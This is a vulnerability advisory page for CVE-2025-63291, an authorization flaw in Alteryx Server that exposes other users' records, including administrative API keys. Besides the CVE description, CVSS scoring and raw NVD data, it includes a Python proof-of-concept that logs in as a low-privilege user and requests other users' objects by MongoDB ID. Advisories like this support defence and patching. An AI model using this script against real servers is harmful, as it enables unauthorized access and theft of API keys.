Security Vulnerability Report
中文
CVE-2025-63291 CVSS 5.4 MEDIUM

CVE-2025-63291

Published: 2025-11-14 19:16:01
Last Modified: 2026-01-12 14:52:42

Description

When processing API requests, the Alteryx server 2022.1.1.42654 and 2024.1 used MongoDB object IDs to uniquely identify the data being requested by the caller. The Alteryx server did not check whether the authenticated user had permission to access the specified MongoDB object ID. By specifying particlar MongoDB object IDs, callers could obtain records for other users without proper authorization. Records retrievable using this attack included administrative API keys and private studio api keys.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:alteryx:alteryx_server:*:*:*:*:*:*:*:* - VULNERABLE
Alteryx Server < 2022.1.1.42654
Alteryx Server 2022.1.1.42654
Alteryx Server 2024.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-63291 PoC - Alteryx Server IDOR Vulnerability Description: Alteryx Server uses MongoDB Object IDs without proper authorization checks Author: Security Researcher Reference: https://www.cve.org/CVERecord?id=CVE-2025-63291 """ import requests import json import sys from datetime import datetime # Target Alteryx Server configuration TARGET_URL = "https://target-alteryx-server.com" API_ENDPOINT = f"{TARGET_URL}/api/v3/" # Authentication (low-privilege user credentials) AUTH_CREDENTIALS = { "username": "low_privilege_user", "password": "password123" } def generate_mongodb_object_id(): """ Generate a potential MongoDB Object ID MongoDB ObjectID format: 24 hex characters Structure: timestamp(8) + machine_id(6) + process_id(4) + counter(6) """ from bson import ObjectId return str(ObjectId()) def authenticate(): """ Authenticate with Alteryx Server and obtain session/token """ auth_url = f"{TARGET_URL}/api/v3/authentication/login" try: response = requests.post(auth_url, json=AUTH_CREDENTIALS, verify=False, timeout=30) if response.status_code == 200: data = response.json() return data.get('token', data.get('sessionId', '')) else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def exploit_idor(token, object_id): """ Exploit IDOR vulnerability by accessing another user's object """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Try to access the specified MongoDB Object ID target_url = f"{API_ENDPOINT}objects/{object_id}" try: response = requests.get(target_url, headers=headers, verify=False, timeout=30) if response.status_code == 200: data = response.json() print(f"[+] SUCCESS! Retrieved data for Object ID: {object_id}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive data if 'apiKey' in str(data) or 'admin' in str(data).lower(): print("[!] WARNING: Sensitive data (API keys) may have been exposed!") return True elif response.status_code == 403: print(f"[-] Access denied for Object ID: {object_id}") return False else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): print("=" * 60) print("CVE-2025-63291 PoC - Alteryx Server IDOR") print("=" * 60) # Step 1: Authenticate print("\n[Step 1] Authenticating with Alteryx Server...") token = authenticate() if not token: print("[-] Failed to obtain authentication token") sys.exit(1) print(f"[+] Obtained token: {token[:20]}...") # Step 2: Enumerate/Generate potential Object IDs print("\n[Step 2] Enumerating MongoDB Object IDs...") # Known Object IDs from the system (should be collected via reconnaissance) known_object_ids = [ "507f1f77bcf86cd799439011", # Example admin key Object ID "507f1f77bcf86cd799439012", # Example user data Object ID # Add discovered Object IDs here ] # Step 3: Exploit IDOR print("\n[Step 3] Exploiting IDOR vulnerability...") for obj_id in known_object_ids: print(f"[*] Testing Object ID: {obj_id}") exploit_idor(token, obj_id) print("\n[!] Note: This PoC requires valid Object IDs obtained through reconnaissance") print("[!] Recommendation: Upgrade Alteryx Server to latest version") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63291", "sourceIdentifier": "[email protected]", "published": "2025-11-14T19:16:01.163", "lastModified": "2026-01-12T14:52:42.000", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When processing API requests, the Alteryx server 2022.1.1.42654 and 2024.1 used MongoDB object IDs to uniquely identify the data being requested by the caller. The Alteryx server did not check whether the authenticated user had permission to access the specified MongoDB object ID. By specifying particlar MongoDB object IDs, callers could obtain records for other users without proper authorization. Records retrievable using this attack included administrative API keys and private studio api keys."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-648"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alteryx:alteryx_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2022.1.0", "versionEndIncluding": "2022.1.1.42654", "matchCriteriaId": "CF563DE9-5380-4D51-AC09-8180C1A04553"}]}]}], "references": [{"url": "https://aleksazatezalo.medium.com/alteryx-server-idor-advisory-782e3013ee38", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://help.alteryx.com/current/en/server/api-overview.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://help.alteryx.com/current/en/server/api-overview/alteryx-server-api-v3/server-api-configuration-and-authorization.html", "source": "[email protected]", "tags": ["Product"]}]}}